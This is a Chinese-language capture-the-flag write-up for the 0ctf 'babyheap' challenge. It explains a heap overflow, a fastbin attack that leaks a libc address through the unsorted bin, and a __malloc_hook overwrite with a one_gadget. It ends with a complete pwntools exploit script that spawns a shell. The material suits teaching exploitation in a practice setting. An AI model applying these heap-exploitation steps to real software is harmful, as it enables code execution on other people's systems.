0ctf babyheap

这个题  一开始 不知道是怎么回事

然后这个程序开了 保护全开  基址随机化  这就要我们自己把libc的基址给泄露出来

泄露的方法我知道的是  把堆 free到 unsortbin的fd和bk指向自身main_arena  然后可以根据 main_arena 的偏移 搞出libc 库

道理都懂 但是怎么做 就不好说了  现在这里就有一道题 

0ctf babyheap_第1张图片

典型的菜单题  然后 看一下大概内容 有没有什么漏洞点

0ctf babyheap_第2张图片

calloc 这个函数有两个参数 一个是 大小 一个是 长度  二者相乘 就是  要申请的大小 

然后calloc 这个函数还会把我们申请的地方自动清空 这里好像没有什么问题 我们去看其它函数的作用

0ctf babyheap_第3张图片

这里 有一个 溢出点 就是他输入的要修改的堆块大小 是我们自己修改的大小 那么我们可以无限修改了

0ctf babyheap_第4张图片

这里好像也没有什么溢出点 0ctf babyheap_第5张图片

好吧 现在就知道了一个溢出点  但是怎么利用呢    如果我们能够泄露出 libc库 那么就很好利用这个程序了 

问题就在于 怎么泄露 一开始没有想到什么好的方法  然后参考了这个链接

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/fastbin_attack/#2017-0ctf-babyheap

然后发现这个这个思路真的好用  修改fd指针 让 heap[2]的指针指向 heap[4]的指针 然后泄露就可以了

这里由于堆块申请对齐 所以  index[4]的堆块起始地址必定是 0x80

那么我们就可以   payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)

然后   edit(0,len(payload),payload)    那么 fd 也就指向了 堆块4

0ctf babyheap_第6张图片

可以看到已经指向了  第四个堆块  那么  那我再修改第三个 让 堆块四的大小是   0x21  然后  再add  两个堆块 0x10 

然后  heap[2] 就指向了  4号堆块   那么 我们就胜利了 一半   我们接下来是 想办法让  4号堆块 进入  unsort bin  

引用wiki 的原话 就是 所以该 chunk 不能使 fastbin chunk,也不能和 top chunk 相邻。因为前者会被添加到 fastbin 中,后者在不是 fastbin 的情况下,会被合并到 top chunk 中 

然后我们修改3 让 他的大小是0x91  然后 再在后面申请一个 chunk  然后  然后free了 4  然后 再打印2号的内容就可以get到了 

main_arena

然后就是hook malloc函数  找 one_gadget_addr 就只能根据库去找

然后其他就没有什么了

下面是根据wiki写的脚本

from pwn import *

context.log_level = "debug"
io=process("./babyheap")
elf=ELF("./babyheap")

def add(size):
    io.recvuntil('Command: ')
    io.sendline("1")
    io.recvuntil("Size: ")
    io.sendline(str(size))

def edit(index,size,content):
    io.recvuntil('Command: ')
    io.sendline("2")
    io.recvuntil("Index: ")
    io.sendline(str(index))
    io.recvuntil("Size: ")
    io.sendline(str(size))
    io.recvuntil("Content: ")
    io.sendline(content)
    
def dele(index):
    io.recvuntil('Command: ')
    io.sendline("3")
    io.recvuntil("Index: ")
    io.sendline(str(index))

def show(index):
    io.recvuntil('Command: ')
    io.sendline("4")
    io.recvuntil("Index: ")
    io.sendline(str(index))


if __name__ =="__main__":
    add(0x10)
    add(0x10)
    add(0x10)
    add(0x10)
    add(0x80)
    dele(2)
    dele(1)
    payload = 0x10 * 'a' + p64(0) + p64(0x21) + p8(0x80)
    edit(0,len(payload),payload)
    payload = 0x10 * 'a'+ p64(0) + p64(0x21)
    edit(3,len(payload),payload)
    add(0x10)
    add(0x10)
    payload= 0x10 * 'a'+p64(0)+p64(0x91)
    edit(3,len(payload),payload)
    add(0x80)
    dele(4)
    show(2)
    io.recvuntil('Content: \n')
    unsort_addr=u64(io.recv(8))
    main_arena =unsort_addr-88
    libcbase_addr =main_arena -0x3C4B20
    add(0x60)
    dele(4)
    fake_chunk_addr=main_arena-0x33
    payload=p64(fake_chunk_addr)
    edit(2,len(payload),payload)
    add(0x60)
    add(0x60)
    one_gadget_addr = libcbase_addr + 0x4526a
    payload = 0x13 * 'a' + p64(one_gadget_addr)
    edit(6,len(payload),payload)
    add(0x90)
    #gdb.attach(io)
    io.interactive()
    io.close()

 

 

 

你可能感兴趣的:(栈溢出,堆溢出)